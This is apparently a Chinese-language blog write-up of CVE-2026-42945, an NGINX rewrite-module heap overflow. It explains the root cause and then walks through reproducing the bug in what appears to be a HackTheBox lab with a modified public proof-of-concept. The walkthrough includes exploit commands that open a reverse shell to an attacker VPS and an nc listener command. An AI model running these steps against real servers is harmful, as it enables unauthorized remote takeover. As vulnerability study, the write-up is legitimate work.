一、漏洞介绍
漏洞概况
关联漏洞
除 CVE-2026-42945 外,本次还披露了另外两个漏洞:
影响规模
• NGINX 占全球 Web 服务器市场的 37.2%
• 受影响网站/API 网关超过 1.3亿个
• 影响所有主流 Linux 发行版(Debian、Ubuntu、CentOS、RHEL 等)
• 所有使用 NGINX 作为反向代理、负载均衡、API 网关、静态文件服务器的场景均受影响
利用场景
攻击者无需身份认证,只需向目标 NGINX 服务器发送一个精心构造的 HTTP 请求,即可:
1. 拒绝服务(DoS) — 触发 worker 进程崩溃,导致服务不可用
2. 信息泄露 — 通过堆溢出读取内存中的敏感数据
3. 远程代码执行(RCE) — 在特定配置和系统环境下实现任意代码执行,完全控制服务器
二、原理分析
漏洞本质
CVE-2026-42945 的根源在于 ngx_http_rewrite_module 重写模块中一个极其隐蔽的逻辑错误——内部标志位管理错误。具体来说,漏洞位于 ngx_http_script_regex_replace 函数(文件:src/http/ngx_http_script.c)。
核心缺陷:is_args 标志位失控
NGINX 在处理 rewrite 规则时,使用一个叫做 is_args 的内部标志位来标记 URI 中是否包含查询参数(问号 ? 后的部分)。这个标志位会在遇到问号时被设置为 1。
问题出在以下环节:
当 rewrite 替换串中包含 ? 符号时:
1. 第一遍扫描:计算目标缓冲区所需长度。此时
is_args=1,会额外加上 args 的长度2. 分配内存:按计算出的长度分配堆内存
3. 第二遍扫描:实际拷贝数据。此时
is_args仍然为 1,但实际拷贝时 并没有拷贝 args 的内容
这就导致了一个经典的漏洞模式:分配的长度 > 实际写入的长度 + 后续操作,为堆缓冲区溢出创造了条件。
完整触发流程
漏洞触发流程客户端发送含特殊URI的HTTP请求NGINX匹配第一条rewrite规则替换串包含 '?' 且使用 1/2 捕获组否·正常处理无漏洞是·is_args = 1计算缓冲区长度(含args大小)分配堆内存 (len + args_len + 1)实际拷贝数据(未包含args内容)紧随其后有第二条rewrite/if/set指令否·正常结束无溢出是·is_args未被重置仍为1处理第二条指令再次使用错误is_args长度计算再次出错·堆缓冲区溢出覆写内存池指针·DoS或RCE
三、漏洞复现
接下来,我们利用大佬项目,然后对大佬的项目稍微进行一点点修改
https://github.com/cipherspy/CVE-2026-42945-POC
修改内容
nginx_rift_htb.py — L387-L395
移除了自动启动 listener 的逻辑(threading.Thread 调用 start_listener 以及随后的 time.sleep(2) 等待),改为交互式提示:
[+] Reverse shell: <LHOST>:<LPORT>
[*] Make sure you have a listener running on the LHOST machine:
[*] nc -lvnp <LPORT>
[*] Press Enter when listener is ready...CHEATSHEET.sh — L115-L117
同步调整注释,明确"先启动 listener → 再运行 exploit → 按 Enter 继续"的流程
原因
脚本 start_listener() 逻辑写死在本机启动监听器,而你的 Windows 上没有 nc,于是降级 Python listener 监听本机 0.0.0.0:4444。但 payload 让目标连的是yourvps:4444(远程服务器),两个 listener 各管各的,本机的永远收不到连接。
攻击流程如下
1. 检查目标是否处于脆弱状态
python3 nginx_rift_htb.py --target 10.10.11.x --check-only
这将:
检测NGINX是否在运行
试着辨认出具体版本
检查端点
/api/如果目标看起来有漏洞,请报告
2. 侦察(推荐)
python3 nginx_rift_helper.py --target 10.10.11.x --all
该方法执行:
NGINX指纹识别
版本检测
端点发现
信息泄漏检测
行为分析
3. 运行漏洞
执行命令:
python nginx_rift_htb.py --target 10.10.10.X --shell --lhost yourvps --lport 4444 --verbose
此时需要你按下enter,但是前提是你在自己的vps上启动了nc监听。


到这里就算是利用成功了。接下来就是你在nc去干活了
修复方法
看我之前的文章即可